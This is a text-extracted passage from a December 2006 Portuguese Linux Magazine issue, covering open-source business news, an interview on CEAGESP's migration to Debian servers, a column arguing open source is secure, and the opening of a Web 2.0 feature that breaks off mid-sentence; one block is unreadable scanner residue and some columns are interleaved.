Após algumas semanas de especulação a respeito do lançamento, por parte da Oracle, de uma distribuição de Linux, a empresa finalmente anunciou seu Unbreakable Linux (algo como “Linux Inquebrável”). Os rumores anteriores ao anúncio cogitavam diversas possibilidades para a entrada da gigante dos bancos de dados no mercado de distribuições Linux, entre elas a compra da Canonical, com a conseqüente herança do Ubuntu. Outros acreditavam que a Oracle lançaria mais uma distribuição baseada nos códigos-fonte do Red Hat Enterprise Linux, a exemplo do CentOS. Ao final, não só a segunda hipótese se mostrou verdadeira, com o Unbreakable Linux sendo um clone do Red Hat, como a Oracle ainda mostrou estar pronta para concorrer fortemente pelos clientes. Na tentativa de ganhar mercado, a empresa cobra preços mais baixos pelo suporte, garantia e pelos serviços corporativos, em comparação com a concorrente Red Hat. Além disso, a Oracle, que aderiu ao Free Standards Group, conta com apoio de peso, incluindo Intel e AMD, por exemplo, e promete lançar atualizações baseadas naquelas criadas pela “original” Red Hat, e liberar também suas próprias atualizações para esta. Analistas apontaram a recente compra da JBoss pela Red Hat como um dos motivos que levaram o fabricante de bancos de dados a considerá-la como uma concorrente, desencadeando essa forte reação. Por último, a Oracle passou a oferecer também suporte total, 24 horas por dia, a qualquer distribuição Linux. Os usuários que testaram a nova distribuição não relataram muita satisfação. Muito pelo contrário, o kernel diferente daquele empregado pela distribuição mais antiga, além da ausência de aplicativos fundamentais e da falta das atualizações lançadas pela Red Hat, levaram a maioria dos usuários a desaprovar o Unbreakable Linux. ■
➧ Microsoft apóia PHP
Em um mês em que a empresa de Bill Gates e Steve Ballmer esteve em forte evidência, mais um acordo da Microsoft foi fechado, dessa vez com a israelense e americana Zend, principal empresa por trás da linguagem voltada à Web. O acordo, segundo Bill Hilf, estrategista de tecnologia de Redmond, visa a assegurar a compatibilidade do PHP com servidores Windows Server 2003 e também com a próxima versão do sistema operacional proprietário, até agora conhecido como Longhorn. Associado ao acordo com a Novell, fabricante do Suse Linux Enterprise, esta notícia sugere que a gigante do software proprietário definitivamente mudou de estratégia quanto ao Software Livre. ■
➧ Novo ERP livre
Curtas Plone no Brasil através da Enfold Systems A Enfold Systems, líder mundial em treinamentos em Plone, anunciou em Seattle uma parceria com a Simples Consultoria, empresa brasileira que está agora habilitada a ministrar, com exclusividade, seus cursos do CMS escrito em Python. O primeiro curso da empresa foi ministrado em Brasília, DF, entre os dias 13 e 17 de novembro. Produto integrado Avocent e Cyclades Após a aquisição da Cyclades, a Avocent lançou o primeiro produto que integra as soluções de ambas as empresas. O software de gerenciamento de infra-estrutura de servidores e redes Linux DSView 3 inaugura, segundo a Avocent, “a fase de integração das tecnologias da Avocent e da Cyclades”, abrindo o caminho para outras integrações, como o Cyclades KVM/net e o Cyclades-TS. Bill Hilf, da Microsoft, pretende garantir a compatibilidade da linguagem PHP com servidores Windows Server 2003.
Foi lançado recentemente o ADempiere, um fork amigável do Compiere, sistema ERP livre. O sistema original, embora já fosse livre, possuía uma profunda orientação ao banco de dados proprietário da fabricante Oracle, o que de certa forma dificultava sua aplicação em conjunto com bancos de dados livres. É exatamente esse o foco do ADempiere, que, na versão 3.1, ainda em desenvolvimento, acrescenta o suporte a PostgreSQL 8.1.4, tornando-se o primeiro sistema ERP totalmente livre a suportar bancos de dados também livres. A versão estável do ADempiere, de número 3.2, será liberada assim que forem resolvidas todas as falhas no software. O andamento do ADempiere pode ser conferido em sua página oficial, www.adempiere.org. ■
Mais de 660 mil unidades do Insigne A distribuição Linux Insigne superou a marca de 660 mil unidades comercializadas. Atuante desde 2002 no mercado de Linux corporativo brasileiro, o Programa Computador Para Todos, do Governo Federal, contribuiu com a venda de mais 330 mil unidades para a distribuição. A expectativa da fabricante do sistema operacional é que o Insigne atinja 30% de participação no mercado de PCs populares em 2007. Pós-graduação em computação com Linux A Universidade Federal de São Carlos, UFSCar, no Estado de São Paulo, abriu as inscrições para o curso de pós-graduação lato sensu em desenvolvimento de software para a Web. O curso busca capacitar novos profissionais para a área, e utiliza Software Livre como plataforma de desenvolvimento ao longo de todo o curso. O coordenador do curso afirma que a escolha por essa plataforma de desenvolvimento não é financeira, e sim ideológica e prática, uma vez que diversas empresas, tanto públicas quanto privadas, estão apoiando e utilizando o Software Livre. Primeiro treinamento DBA GEO no mundo Foi lançado no Brasil o primeiro treinamento em bancos de dados de análises espaciais e topológicas. Criado a partir da interação entre a Dextra Sistemas, desenvolvedora de software, e a OpenGEO, desenvolvedora de soluções geotecnológicas baseadas em SL, o treinamento capacitará o profissional a trabalhar com armazenamento e análise de dados das tabelas e atributos gerados pelo PostgreSQL/PostGIS.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
23
CORPORATE | Notícias
➧ Sun libera o código do Java sob GPL Após anos de insistência por parte de usuários e desenvolvedores, a Sun abriu o código do Java. Diferentemente do que muitos esperavam, a licença empregada foi a Licença Pública Geral GNU, e não a CDDL (Common Development and Distribution License), criada e adotada pela empresa, até então, em todos os seus produtos de código aberto, como o kernel OpenSolaris, por exemplo. No último dia 6 de junho, a Sun já havia silenciosamente lançado o programa GlassFish, que consistia de uma aparente abertura do código do Sun Java System Application Server Platform. A abertura do GlassFish, no entanto, permaneceu apenas aparente, pois sua licença JRL não permitia a modificação e redistribuição do código. Agora, porém, o comprometimento é total. Com a liberação da Java Platform Micro Edition, destinada a sistemas embarcados, e da Java Platform Standard Edition, de uso geral, sob a versão 2 da GPL, a Sun “facilita a integração com o Linux”, de acordo com Rich Green, vice-presidente executivo de software da empresa. Uma ressalva quanto à liberdade imposta pela GPL, entretanto, é o emprego de “classpath exceptions”,
Rich Green, vice-presidente executivo de software da Sun, anuncia a abertura do código do Java sob a licença GPL.
que abrem caminho para a escolha de outras licenças por parte do desenvolvedor que escrever código que interaja com o código GPL da Sun. Segundo Green, no caso da Java SE, essa é uma adição vantajosa para a GPL, pois permite que programas incluam bibliotecas e a máquina virtual Java sem serem “afetados” (sic) pela licença do Java. A Sun optou ainda por usar um sistema de duplo licenciamento. Isso significa que é possível licenciar o código da Sun para usá-lo, de forma fechada, em outras aplicações comerciais. No passado, o maior receio da empresa de Santa Clara, EUA, relativo à liberação do código-fonte do Java, era que eventuais “forks” perdessem a compatibilidade, exterminando assim o sucesso da linguagem. Agora, no entanto, Green afirmou que a própria popularidade do software será capaz de impedir o distanciamento entre os forks. Em uma interessante colocação, o vice-presidente disse que a GPL, ao obrigar a abertura e manipulação do código, fará com que todas as versões se mantenham compatíveis. Além disso, o processo “evolutivo” do software não será comandado pela empresa, embora seus desenvolvedores tenham o compromisso de participar de seu desenvolvimento comunitário. No tocante à versão 3 da GPL, que está em intenso processo de discussão, com críticas de diversos proponentes da GPLv2, Green esclareceu que o Java não adotará a nova versão, permanecendo sob a GPLv2. Porém, outros softwares de código aberto mantidos pela Sun, como o OpenSolaris, podem perfeitamente vir a adotar a GPLv3. O vice-presidente disse estar “perfeitamente disposto a reavaliar todo o protocolo de licenciamento da empresa”. Um dos objetivos da Sun é que o Java desfrute de uma maior participação de desenvolvedores da comunidade, a fim de retomar seu antigo negócio de produção de software. Até o momento do fechamento desta edição, o código do Java ainda não havia sido publicado, pois o anúncio oficial da empresa prometia a liberação do código para o fim de 2006 ou início de 2007. ■
➧ LPI nível 3 lançada no Brasil
A certificação LPI de nível 3 será lançada em dezembro no Brasil. Jon “maddog” Hall aplicará as primeiras provas 301 e 302 às 10:00 do dia 2 de dezembro, na cidade de São Paulo. A inscrição é gratuita, porém seu número é limitado e seletivo. A empresa responsável pela organização do evento e aplicação das provas é a 4Linux, afiliada do Linux Professional Institute e sucessora do LPI Brasil. Até a criação do nível 3 da certificação LPI, havia somente dois níveis, que categorizavam o profissional nos níveis básico e intermediário como Administrador Linux. A LPI nível 3 cria, finalmente, a categoria de Administrador Linux Avançado, exigindo conhecimentos avançados em Samba, NFS, serviços de impressão, LDAP e autenticação em redes. Essa prova será um piloto para a certificação mundial de nível 3 pelo LPI, e os aprovados serão os primeiros profissionais em todo o mundo com esse nível de certificação. Segundo José Carlos Gouveia, gerente do LPI para a América Latina, a aplicação das provas-piloto no país mostra “a todo o mundo como o Linux é forte aqui no Brasil”, Jon “maddog” Hall aplicará as provaspiloto do nível 3 da LPI no Brasil. mostrando também o bom trabalho que o LPI Brasil fez nos últimos anos”. ■
http://supertuxbr.blogspot.com 24
http://www.linuxmagazine.com.br
�
������������� ����������������� ������� ���������������� ������ ��������������
���������
�������
��������������
��������������
���� ��������������
��������������� ��������������
�������������
�������������
�����������
��������������� ������������� ���������� ������������
�� �� ��
�����
�� � ��� �� � ��
�� � ��� ��� ��
���������������
���� ���������������� ���������������
����������� ������������������ ��������� ������������������
��� �� ��� � ���
��� �� ��� � ���
��������������������� ���������������� ������������������ �������������������� �������������� ����� ���� ������������
����������� ����������
������� �������������� ����������
�������������
��� ��� ����������� �� �����������������
�� �� ��
���
����������� ������� ����������������� ���������
�������� ������������������ �����
���������������
�����
����� ����� ����� ���� � � ����� � ��������������� ���������������
�
������������� ���������� ������������� ������ ��������������
�������������� �������������� �� ��������������� ���������������
������������� ������������ ������������ �����
��� �������� ��������������������� ������������� �� �� �� �� ��� ��� ����� �������� ������ ������������������
����� ������ � � �� � � ���� ������� € �����
������� �� ������� ��
� � �� � � � � � �
�����������
������
����� �� � � ���� �� � � ���� ������ � € �����
� �� ��������� ������� ��
� � �� � � � �� �
� ��� � ���� � �
������
������������������������������������������������������������������ �������������������������������������������������������������������� ���������������������������� ����������������������������������������������������������� ��������������������������������������������������������
��������������������������� ����������������������������������������� ��������������������������������
http://supertuxbr.blogspot.com
Roberto Leon, Gerente de TI, e Paulo Loesch, Coordenador de Infra-Estrutura, CEAGESP
CORPORATE
Migração frutífera
A CEAGESP sofria com o desempenho de sua estrutura de TI. O acesso dos usuários a suas pastas pessoais era insatisfatoriamente lento. Após a migração dos servidores para Linux, o desempenho da rede melhorou, os usuários ficaram mais satisfeitos, e a administração foi muito facilitada. por Pablo Hess
A
Companhia de Entrepostos e Armazéns Gerais de São Paulo, CEAGESP, é referência nacional em abastecimento de alimentos, tendo sido fundada em 1969, a partir da fusão de duas empresas do Estado de São Paulo. Hoje vinculada ao Governo Federal, a empresa é composta por unidades de armazenagem, silos e graneleiros no interior do Estado, as quais, associadas à sede na cidade de São Paulo, oferecem serviços de apoio a produtores, consumidores e comerciantes. Pelos portões da CEAGESP passam, diariamente, dez mil toneladas de produtos agrícolas, peixes e flores, vindos de 1300 municípios brasileiros e também do Exterior. Com isso, aproximadamente 60% do abastecimento de hortícolas da Grande São Paulo é realizado pela empresa. Recentemente, a empresa realizou uma migração de seus servidores para sistemas Linux, em busca de soluções para seus problemas de infra-estrutura, e obteve um pouco mais que o esperado. É esse o tema da entrevista que seu gerente de TI,
Não possuíamos a verba necessária para adquirir mais licenças de sistemas proprietários para nossos servidores, nem tampouco para atualizar o hardware dessas máquinas.
Roberto Leon, e seu Coordenador de Infra-Estrutura, Paulo Loesch, concederam à Linux Magazine. Por que a CEAGESP adotou o Linux? Roberto Leon» Houve múltiplos fatores para essa escolha. Primeiramente, o Governo Federal vem orientando os órgãos públicos sob sua alçada a utilizarem Software Livre e de código aberto (SL/CA). Note que isso não se restringe ao Linux; muito pelo contrário, a orientação é no sentido de se adotar o SLCA em todas as etapas da produção e uso de softwares, tanto no desenvolvimento quanto na infra-estrutura. A CEAGESP, como empresa pública vinculada à esfera federal, optou por se adequar a essa orientação, também para evitar confrontações políticas. O segundo fator foi econômico. Não possuíamos a verba necessária para adquirir mais licenças de sistemas proprietários para nossos servidores, nem tampouco para atualizar o hardware dessas máquinas. Assim, mesmo sem qualquer treinamento formal na área de Linux e SL/CA, a equipe de TI escolheu migrar para o Linux. É necessário dizermos que a relação custo-benefício foi fundamental para essa escolha, de nossa parte. Devido ao baixo custo, essa relação pendeu fortemente a favor do sistema operacional gratuito. Paulo Loesch» A CEAGESP não favorece, inicialmente, qualquer uma das alternativas. Utilizamos tanto sistemas livres quanto proprietários; são os méritos de cada sistema que definem qual será sua aplicação. Por exemplo, tivemos uma experiência com o pacote de escritório BROffice em plataforma Windows®. Linux Magazine»
Figura 1: Todos os dias, dez mil toneladas atravessam os portões da CEAGESP.
No entanto, sem treinamento, nossos usuários que dependem fortemente desse tipo de aplicativo não se adaptaram à mudança. Assim, analisamos a relação custo-benefício dessa solução e decidimos adotar o pacote proprietário, pois tínhamos como arcar com os custos dessas licenças. LM» Como ocorreu a migração? E quan-
tas pessoas foram necessárias?
RL» Inicialmente, objetivávamos organizar
um treinamento formal para nossa equipe de TI. Um dos responsáveis teria uma maior ênfase em segurança, enquanto outro se focaria mais no provimento de serviços, e assim por diante. Infelizmente, não conseguimos a verba necessária para isso, pois a migração dos servidores era absolutamente inadiável. Contratamos uma consultoria para essa tarefa, a qual também forneceu um breve treinamento a nossos especialistas em TI. Mesmo com pouco treinamento, conseguimos resolver a maioria das dificuldades em até duas horas. Esse fato, por sinal, mostra que o Linux não é tão difícil quanto muitos imaginam.
http://supertuxbr.blogspot.com 26
http://www.linuxmagazine.com.br
PL» Vale lembrar que, dos 600 funcionários da CEAGESP, 300 são usuários de informática, e nossa equipe, com apenas três pessoas, consegue gerenciar essa demanda de forma absolutamente adequada. Apesar disso, se fosse possível, eu gostaria de ter podido oferecer um maior treinamento à equipe de TI da empresa. A equipe de consultoria responsável pela migração era composta por somente duas pessoas, que realizaram o serviço inteiro em três meses. Naturalmente, antes disso foi feito um grande planejamento, por parte da própria consultoria, mas com auxílio de nossa equipe de TI, para que o processo transcorresse sem problemas. As mudanças de servidores foram feitas ao longo de três meses. A mais significativa para os usuários, ou seja, a migração do servidor de autenticação, foi realizada em um
PL» E o que chamamos de servidores são, na realidade, desktops que atuam como servidores. Essa é mais uma das vantagens do Linux. Como ele exige bem menos recursos da máquina, não necessitamos de máquinas poderosas, caras e avançadas. Inclusive, é mais comum as máquinas pararem devido a falhas do hardware do que por problemas do Linux. Algumas aplicações menores também rodam e foram desenvolvidas no Linux. Exemplos são o sistema de help desk para abertura de chamados de suporte e nosso software de inventário. No entanto, ainda dependemos de diversas soluções proprietárias – felizmente, todas elas estão disponíveis também para plataformas Linux, integrando-se, por exemplo, ao banco de dados livre PostgreSQL. LM» Como era a situação anterior à migração? E como é hoje? RL» Nós tínhamos e ainda temos um problema de infra-estrutura em nossa rede. Não possuímos uma rede propriamente estruturada. Com a maioria dos usuários carregando centenas de megabytes ao fazerem login, e ainda acessando suas caixas de mensagem por IMAP, pode-se imaginar a sobrecarga que sofria a rede. Os usuários eram obrigados a aguardar até dez minutos para acessar sua área de trabalho, por Figura 2: A CEAGESP fornece também um local para a realização do comércio de produtos agrícolas e animais. exemplo. Hoje, nosso sistema de fim de semana. Os usuários desligaram suas arquivos limita o espaço ocupado por cada máquinas na sexta-feira e, quanto voltaram, na usuário, de forma que o tráfego de rede foi semana seguinte, a operação ocorreu como de reduzido. Aproveitamos a mudança nos costume. Eles nem perceberam a migração, servidores para modificarmos as políticas de uso de disco, o que ajudou a aumentar o que é ótimo. enormemente a eficiência da comunicação LM» De que consiste a solução de vocês? através da rede. RL» Todos os nossos servidores rodam sobre PL» Especificamente em relação ao servidor plataforma Debian GNU/Linux. Eles forne- de emails, nós usávamos mailbox, e adotacem os serviços de proxy (Squid), autentica- mos o padrão maildir, bem mais eficiente. ção e servidor de arquivos (Samba e OpenL- Além disso, vimos que nenhum usuário tirava DAP), firewall (IPtables), email (POP3 e proveito das vantagens do protocolo IMAP. IMAP) e webmail, DHCP e DNS. Assim, estimulamos todos, especialmente aqueles com maior fluxo de mensagens, como os técnicos e executivos, a adotarem o protocolo POP3, contribuindo mais um pouco para a redução do tráfego de rede, pois cada mensagem passou a ser baixada uma única vez. Ou seja, mesmo tendo o espaço para armazenamento de mensagens diminuído, nossos usuários estão mais satisfeitos com todo o serviço oferecido pela estrutura de TI. Figura 3: Roberto Leon, Gerente de TI.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
CORPORATE | Entrevista
Figura 4: Paulo Loesch, Coordenador de Infra-Estrutura.
A migração possibilitou a implantação de novos serviços? PL» A CEAGESP é centralizada na cidade de São Paulo, porém dispomos também de 40 postos em outras localidades do Estado. Os usuários dessas localidades não possuíam contas de email em nossos servidores, nem tampouco tinham acesso à intranet da empresa. Agora, com a redução do espaço ocupado pelas caixas postais, todos os nossos funcionários possuem contas de LM»
Ficha técnica CEAGESP Hardware: ➧ Servidor de arquivos: 2x Intel Xeon 3.0 GHz, 2 GB de memória ➧ Servidor DNS e DHCP: Intel Pentium 4 3.0 GHz, 512 MB de memória ➧ Servidor FTP: Intel Pentium 4 3.0 GHz, 512 MB de memória ➧ Servidor de Logs: Intel Pentium 4 3.0 GHz, 512 MB de memória
email em nosso servidor, acessando-as através do webmail, a partir de qualquer ponto da Internet. RL» Conseguimos ainda disponibilizar uma VPN, estendendo o alcance de nossos serviços de rede às unidades no interior do Estado. Esse serviço está em fase de implementação, e a disponibilização de novas máquinas foi fundamental para isso. Atualmente, os funcionários remotos já conseguem acessar documentos antes restritos à intranet, assim como as aplicações de workflow, agenda e chamados de suporte. O resultado é a integração desses postos à matriz. LM» Quais vantagens o Linux proporcionou em relação à solução proprie-
Uma melhora inesperada surgiu no gerenciamento das contas e dados dos usuários, que tornou-se consideravelmente mais fácil, rápido e eficiente.
➧ Servidor VPN: Intel Pentium 4 3.0 GHz, 512 MB de memória ➧ Servidor de emails: 2x Intel Xeon 3.0 GHz ➧ Servidor de webmail: Intel Pentium 4 3.0 GHz, 1 GB de memória ➧ Firewall e proxy: Intel Pentium 4 3.0 GHz, 512 MB de memória ➧ Estações: Hardware variado Software: ➧ Sistema operacional: Debian GNU/Linux 3.1 ➧ Sistema de arquivos e autenticação: Samba e OpenLDAP ➧ Infra-estrutura: Bind (DNS) e DHCPD (DHCP) ➧ FTP: Proftpd ➧ Log: Syslog ➧ VPN: OpenVPN ➧ Email e webmail: Qmail e Open-xchange ➧ Proxy e firewall: Squid com Sarg e iptables Migração: ➧ Tempo de planejamento: Dois meses ➧ Tempo de execução: Três meses, devido a problemas internos da empresa. ➧ Investimento: R$ 16.000,00, associado a parcerias para trocas de serviços com o contratado.
tária anterior? PL» Um novo recurso muito interessante e positivo foi a unificação das senhas de acesso. Antes, os usuários precisavam digitar uma senha para acessar cada serviço. Por exemplo, digitavam uma senha para acessar os arquivos pessoais, outra para visualizar seu diretório de arquivos pessoais, mais uma para navegar na intranet, e uma outra para acessar a Internet. Embora as senhas pudessem ser todas iguais, era desconfortável digitá-la repetidas vezes ao longo do uso da máquina. Com a integração da autenticação proporcionada pelo sistema OpenLDAP, a senha é solicitada apenas uma vez, e permite o acesso a todos os serviços. Esse é um conforto que os usuários nem sequer sabiam que podiam ter. As outras vantagens são os já esperados aumentos de desempenho e estabilidade. Uma melhora inesperada surgiu no gerenciamento das contas e dados dos usuários, que tornou-se consideravelmente mais fácil, rápido e eficiente. É importante notar que, mesmo sem realizarmos alterações em nossa
infra-estrutura de rede, conseguimos obter avanços significativos de desempenho nos processos que dependem dela. Em suma, o Linux proporcionou um aumento de satisfação dos usuários e dos administradores quanto à estrutura de TI. Que surpresas surgiram ao longo da migração? RL» Na realidade, não houve surpresas, ao menos de ordem técnica. Como dedicamos bastante tempo e atenção ao planejamento, tudo ocorreu conforme o previsto. Os usuários não chegaram a tomar conhecimento da migração, o que é altamente positivo. LM» Há planos futuros de uso de SL/CA na empresa? RL» Sim, sem dúvida. Temos desenvolvido muitos sistemas sobre a plataforma aberta. Atualmente, estamos finalizando o processo de desenvolvimento de nossos sistemas maiores, como o de controle estatístico de informação do mercado e o de emissão de notas fiscais, este responsável pela emissão de oito a dez mil notas fiscais por dia. Esses sistemas estão sendo programados em Java sobre Linux. PL» Temos ainda planos de consolidação de nossos servidores, além da implementação de recursos de virtualização de máquinas, para um futuro não muito distante. LM» Na sua opinião, o que falta para o Linux decolar no ambiente corporativo? RL» Creio que falte suporte. Há programas livres e gratuitos para quase todas as tarefas, porém ninguém se responsabiliza por eles, diferentemente dos softwares proprietários, que obrigatoriamente são o produto de uma empresa. Acredito que em poucos anos isso venha a se modificar para melhor, com mais desenvolvedores juntandose ao cenário do SL/CA, juntamente com empresas. PL» Além disso, os gestores de TI parecem ter, ainda, muito medo do SL/CA. Atualmente, a questão da empresa responsável pelo suporte ao produto é fundamental para qualquer gestor. LM»
Uma declaração final para nossos leitores. RL e PL» Não tenham medo do SL/CA. Se a avaliação dos riscos de uma migração, inicialmente, for muito alta, planejem com cuidado e atenção. É perfeitamente possível a convivência entre softwares proprietários e abertos em um mesmo ambiente de TI. ■ LM»
http://supertuxbr.blogspot.com 28
http://www.linuxmagazine.com.br
http://supertuxbr.blogspot.com
Quebrando o mito da desconfiança: Código Aberto é seguro!
CORPORATE
Cezar Taurion O
movimento do Código Aberto já é uma realidade na indústria de software. As dúvidas iniciais já foram, em grande parte, sanadas e, hoje, não se questiona mais a validade desse modelo alternativo de negócios, que fornece desafios, benefícios e, com certeza, novas oportunidades, diferentes dos modelos convencionais.
Nada mais natural que essas empresas, lutando pela sobrevivência de seu modelo de negócios, questionem o Código Aberto, levantando dúvidas e buscando eventuais pontos de falha. Mas ainda encontramos alguns questionamentos. Um deles diz respeito à questão da segurança, uma vez que os modelos de licença de Código Aberto divulgam o código-fonte. Talvez esse debate ainda esteja vivo porque o modelo de Código Aberto impacta diretamente a receita (e lucratividade) de empresas de software baseadas exclusivamente no modelo de licenças proprietárias. Por exemplo, no relatório anual da Microsoft (www.microsoft.com/msft) está claramente dito, na seção “Fatores de Risco” (em tradução livre): “Nos últimos anos, alguns modelos de software de código aberto evoluíram para um desafio crescente a nosso modelo de software baseado em licenças”. Também fica claro o potencial de perda financeira: “Quando o Código Aberto aumentar sua aceitação no mercado, as vendas de nossos produtos podem diminuir, e talvez tenhamos que reduzir os preços que cobramos por nossos produtos, conseqüentemente diminuindo nosso faturamento e nossas margens de operação”. Nada mais natural que essas empresas, lutando pela sobrevivência de seu modelo
de negócios, questionem o Código Aberto, levantando dúvidas e buscando eventuais pontos de falha. A disponibilidade do código-fonte, mortal para o modelo de licenças proprietárias é, então, alvo de ataque: sua disponibilização não seria um risco para a segurança, uma vez que hackers podem livremente vasculhar o código-fonte e identificar vulnerabilidades? Bem, uma inferência errônea é que o modelo de código-fonte fechado seria inerentemente mais seguro. Os freqüentes casos de vulnerabilidades que vemos em softwares proprietários demonstram que essa não é uma assertiva verdadeira. Um exemplo: diversas pesquisas (e a vida prática) têm demonstrado que o Apache apresenta menos falhas de segurança que o IIS da Microsoft. Esconder o código-fonte não garante segurança. A maioria dos ataques dos hackers têm sido feitos em cima de softwares como Windows, Explorer e Office, cujos códigos-fonte são fechados. Existem sofisticadas ferramentas chamadas “disassembly tools”, que facilitam aos hackers a dedução do código-fonte a partir do executável. Quem está interessado em explorar uma vulnerabilidade pode usar essas ferramentas, sem precisar do acesso direto ao fonte. E quando há disponibilidade do código-fonte, como proposto pelo Código Aberto? O efeito, ao contrário do que pensam os críticos, é positivo, pois a comunidade consegue detectar vulnerabilidades e corrigi-las rapidamente, pois são muitos olhos atentos, e não apenas uma pequena equipe interna de uma única empresa. No sistema fechado, os usuários ficam à mercê da capacidade do proprietário do software em detectar e corrigir a falha. Portanto, o modelo de Código Aberto está cada vez mais consolidado, e lutar contra ele seria como defender de forma fanática as máquinas de escrever contra os microcomputadores. Uma luta inglória pois, queiramos ou não, as máquinas de escrever tornaramse obsoletas! ■
O autor Cezar Taurion é Gerente de Novas Tecnologias Aplicadas da IBM.
http://supertuxbr.blogspot.com 30
http://www.linuxmagazine.com.br
Web 2.0: palavra de ordem vazia ou mudança de paradigma?
A Segunda Revolução CAPA
As páginas web modernas se diferenciam fortemente daqueles velhos conhecidos monstros estáticos. Elas oferecem pontos de encontro sociais no espaço virtual e aplicativos completos via Internet: está nascendo a Web 2.0. por Carsten Schnober
W
ikipédia, Google e Myspace são as estrelas do novo milênio. Se os conteúdos e a organização dessas páginas são muito diferentes uns dos outros, a renúncia ao clássico conceito da World Wide Web (WWW) é um fator que as une. No começo dos anos noventa, quando surgiu a WWW, ela se diferenciava muito pouco das mídias tradicionais como jornal, rádio e TV: de um lado ficavam os fornecedores, que ofereciam seus conteúdos na Internet, e do outro os consumidores, que liam e manipulavam as páginas que julgavam interessantes.
A primeira geração
Os acadêmicos foram os primeiros a usar a WWW; a Web se situava placidamente sobre a fundação de tecnologias anteriores, como archie e gopher, e oferecia uma forma eficiente para universitários e pesquisadores compartilharem seu trabalho. A partir da metade dos anos 90, empresas privadas começaram a usar a Web como uma plataforma de baixo custo e alta eficiência para vendas e marketing. A comunicação nos primórdios da Web era tipicamente de mão única – os provedores de conteúdo ofereciam informação aos consumidores desse conteúdo. Do ponto de vista técnico, no entanto, a Internet sempre ofereceu a possibilidade de comunicação bidirecional. Não demorou muito para que os desenvolvedores começassem a realizar experimentos com a integração dessa comunicação bidirecional às tecnologias da Web. A possibilidade de interação com o usuário resultante daí foi a mais nova
vantagem descoberta pelos operadores sites tradicionais – e nas quais a interação dos sites. Em páginas comerciais, clien- com o usuário desempenhava um papel tes criticam e fazem solicitações – e o fundamental. efeito dessa propaganda pode ser medido Com isso, o modo de lidar com a com precisão. WWW se alterou profundamente. A faAlém disso, surgiram os fóruns, nos mosa editora de TI O’Reilly organizou quais pessoas com os mesmos interesses uma conferência sobre a World Wide ao redor do mundo todo podem trocar Web – como nome da conferência, esidéias sobre os mais variados temas, tais colheram a expressão Web 2.0. O concomo receitas culinárias, política e tec- ceito se estabeleceu desde então, mas o nologia. Para isso, ao invés das páginas que está por trás disso é um tanto vago. HTML estáticas, foram adicionados sites Alguns dos sites mais populares servem dinâmicos, os quais, por exemplo, com a de exemplos incontestáveis da nova Web, ajuda da linguagem de programação PHP, reagiam a comandos do usuário.
A revolução seguinte
Por volta de 2001, a Internet havia se difundido tão fortemente nos países industrializados que, em grande parte deles, a maioria dos habitantes tinha acesso à Internet. Ao mesmo tempo, as páginas web agora eram outras, com apresentações que as diferenciavam dos
Figura 1: No Flickr, os usuários podem enviar suas fotos para seu álbum e visualizá-lo como se elas estivessem em seu próprio computador.
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
31
CAPA | Introdução à Web 2.0
pois preenchem os dois pré-requisitos centrais: forte interação com o usuário e páginas dinâmicas. Alguns dos exemplos mais conhecidos que esclarecem o princípio da Web 2.0: no Flickr [1], os usuários publicam suas fotos (figura 1), no Youtube [2], vídeos; no del.icio.us [3], selecionam links para os seus sites preferidos (bookmarks sociais). O Myspace [4] disponibiliza para os usuários uma plataforma completa na qual podem publicar conteúdos desde diários (Weblogs) até fotos, vídeos e músicas produzidas por eles mesmos. Esses exemplos consistem de produtos de empresas que oferecem seus serviços sem nenhum custo. Elas ganham através de anúncios, que aparecem e têm conteúdos orientados pela contribuição do usuário. Por isso, para elas, o número de usuários da página tem um papel decisivo: quanto maior o número de páginas que cada participante do Myspace manipula, por exemplo, maior é o número de pessoas que as visualizam e, conseqüentemente, maior é o lucro do cliente desses anúncios.
Avaliação coletiva
Um técnica comumente usada pelos chamados websites interativos é a categorização (tagging) de solicitações. Os produtores das páginas estabelecem categorias para fotos (Flickr), vídeos (YouTube) ou links (del.icio.us) com palavras-chave. Além disso, existe a possibilidade de fazer buscas sobre um tema específico, nas quais são mostrados todos os links com a palavrachave “Linux”, por exemplo. Existem
correlações entre as solicitações, pois nhecido com o nome de bloguesfera. ocorrem inúmeras páginas com o ter- Todas essas aplicações web formam mo “Linux” e que, além disso, estão o que chamamos grandiosamente de na categoria “Open Source”. Assim, “Inteligência coletiva”. A massa dos os usuários sempre descobrem páginas participantes da Wikipédia encontra interessantes, através de solicitações de informações erradas ou faltantes de categorias semelhantes. forma mais rápida do que os revisores Da mesma forma, existem ligações editoriais comuns jamais conseguiriam. entre os próprios usuários: as redes Da mesma maneira, seria impossível sociais. Daí surgiu uma outra defi- categorizar centralmente todos os vídenição para a nova Web: Web social. os baixados no Youtube. A loja on-line Um exemplo é o Last.fm [5], antes Amazon [7] avalia a preferência de seus Audioscrobber (figura 2). O site reúne clientes estatisticamente para oferecer informações sobre quais músicas os dicas de compras adequadas. seus usuários ouvem no computador. Críticos vêem nesse princípio desProgramas de músicas com suporte ao centralizado a vitória da quantidade Last.fm transmitem o nome de cada sobre a qualidade: na Web 2.0, uma música ouvida para o servidor. Ele então contribuição é boa quando for visitada faz o cálculo com sugestões de outros por alguns milhões de internautas – inouvintes que correspondam ao gosto dependentemente de seu conhecimento do primeiro usuário. Quem se conec- técnico. A opinião de um especialista ta a sua conta Last.fm pela interface tem, portanto, o mesmo peso que a de web fica sabendo quais outros usuários um leigo. Os partidários desse princípossuem o mesmo gosto musical que pio coletivo entendem que o conhecimento construído pela coletividade o seu, automaticamente. Um outro projeto que depende ligada pela rede sempre ultrapassa o fundamentalmente da colaboração de de um único especialista. muitos usuários é a Wikipédia [6]. A Se são os componentes sociais e inteenciclopédia on-line é composta pela rativos ou os técnicos que desempenham contribuição voluntária de inúmeros o papel mais importante na Web 2.0, é interessados ao redor do mundo, que uma questão de ponto de vista. Todos os disponibilizam seus conhecimentos que vêem fenômenos como a bloguesfegratuitamente. Não há anúncios na ra, Wikipédia e outros sites colaborativos página, e os custos para servidor e como novidades revolucionárias preferem conexão à Internet são assumidos por usar o conceito “Web social” no lugar do termo “Web 2.0”. patrocinadores e doadores. Um outro fenômeno que pertence definitivamente às novas invenções da Internet são os chamados weblogs, ou apenas “blogs”. Eles são as versões Web Uma técnica popular de implementa2.0 das páginas pessoais, que na verdade ção de aplicativos muito alardeada na foram quase totalmente substituídas por era da Web 2.0 chama-se AJAX (Asyneles. Outra tendência utiliza em vez de chronous Javascript and XML), que de textos, contribuições de áudio – os cha- novo só tem 